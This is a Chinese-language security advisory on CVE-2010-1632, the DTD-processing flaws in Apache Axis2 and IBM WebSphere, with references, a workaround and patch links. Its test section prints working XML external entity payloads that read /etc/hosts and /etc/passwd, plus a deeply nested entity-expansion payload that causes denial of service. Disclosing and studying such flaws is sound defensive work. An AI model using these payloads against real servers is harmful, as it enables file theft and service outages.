Apache Axis2文档类型声明处理多个安全漏洞
- 发表于
- Vulndb
发布时间:2010-06-13
影响版本:
1 2 3 4 |
IBM Websphere Application Server 7.0 IBM Websphere Application Server 6.1 Apache Group Axis2 1.5.1 Apache Group Axis2 1.4.1 |
漏洞描述:
Axis2是一个Web服务的核心支援引擎。
根据SOAP 1.1规范的规定,SOAP消息总不能包含有文档类型声明(DTD)。在Axis2中,是通过StAXSOAPModelBuilder类来实现这个限制的。这个方法存在两个问题:
1 仅适用于SOAP绑定,而支持纯XML消息的HTTP绑定仍允许请求消息中存在DTD。
2 在处理带有DTD的文档时,StAXSOAPModelBuilder仅在从StAX解析器接收到DTD事件后才会报告错误,而这时StAX解析器可能已经处理或部分处理了DTD。
这说明Axis2受基于DTD的XML攻击的影响。有两种类型的攻击:
* DTD可能引用其他的文档,也就是内部子集中所声明的DTD或外部实体。如果对XML解析器配置了默认的实体解析器(在本文所述情况下为Axis2),就会允许攻击者要求解析器访问任意文件。由于可能将URL用作系统ID,这包括仅可在服务器所部署的网络中访问的远程资源。
* 尽管XML不允许递归实体定义,但允许嵌套的实体定义。如果文档中包含有深度嵌套的实体定义,解析该文档就会在实体展开期间导致非常高的CPU和内存消耗。
1 2 3 4 5 6 7 |
<*参考 http://secunia.com/advisories/40252/ http://www-01.ibm.com/support/docview.wss?uid=swg21433581 https://svn.apache.org/repos/asf/axis/axis2/java/core/security/CVE-2010-1632.pdf *> |
测试方法:
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
<!DOCTYPE getQuote [ <!ENTITY file SYSTEM "/etc/hosts"> ]> <getQuote xmlns="http://services.samples"> <request> <symbol xmlns="http://services.samples/xsd">&file;</symbol> </request> </getQuote> <!DOCTYPE root SYSTEM "/etc/passwd"> <root/> <!DOCTYPE root [ <!ENTITY x32 "foobar"> <!ENTITY x31 "&x32;&x32;"> <!ENTITY x30 "&x31;&x31;"> <!ENTITY x29 "&x30;&x30;"> <!ENTITY x28 "&x29;&x29;"> <!ENTITY x27 "&x28;&x28;"> <!ENTITY x26 "&x27;&x27;"> <!ENTITY x25 "&x26;&x26;"> <!ENTITY x24 "&x25;&x25;"> <!ENTITY x23 "&x24;&x24;"> <!ENTITY x22 "&x23;&x23;"> <!ENTITY x21 "&x22;&x22;"> <!ENTITY x20 "&x21;&x21;"> <!ENTITY x19 "&x20;&x20;"> <!ENTITY x18 "&x19;&x19;"> <!ENTITY x17 "&x18;&x18;"> <!ENTITY x16 "&x17;&x17;"> <!ENTITY x15 "&x16;&x16;"> <!ENTITY x14 "&x15;&x15;"> <!ENTITY x13 "&x14;&x14;"> <!ENTITY x12 "&x13;&x13;"> <!ENTITY x11 "&x12;&x12;"> <!ENTITY x10 "&x11;&x11;"> <!ENTITY x9 "&x10;&x10;"> <!ENTITY x8 "&x9;&x9;"> <!ENTITY x7 "&x8;&x8;"> <!ENTITY x6 "&x7;&x7;"> <!ENTITY x5 "&x6;&x6;"> <!ENTITY x4 "&x5;&x5;"> <!ENTITY x3 "&x4;&x4;"> <!ENTITY x2 "&x3;&x3;"> <!ENTITY x1 "&x2;&x2;"> ]> <root attr="&x1;"/> |
安全建议:
临时解决方法:
1 2 3 4 |
* 禁用对application/xml内容类型的支持,使用SOAPBuilder替换ApplicationXMLBuilder: <messageBuilder contentType="application/xml" class="org.apache.axis2.builder.SOAPBuilder"/> |
厂商补丁:
Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
https://issues.apache.org/jira/browse/AXIS2-4450
IBM
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www-01.ibm.com/support/docview.wss?uid=swg21433581
原文连接
的情况下转载,若非则不得使用我方内容。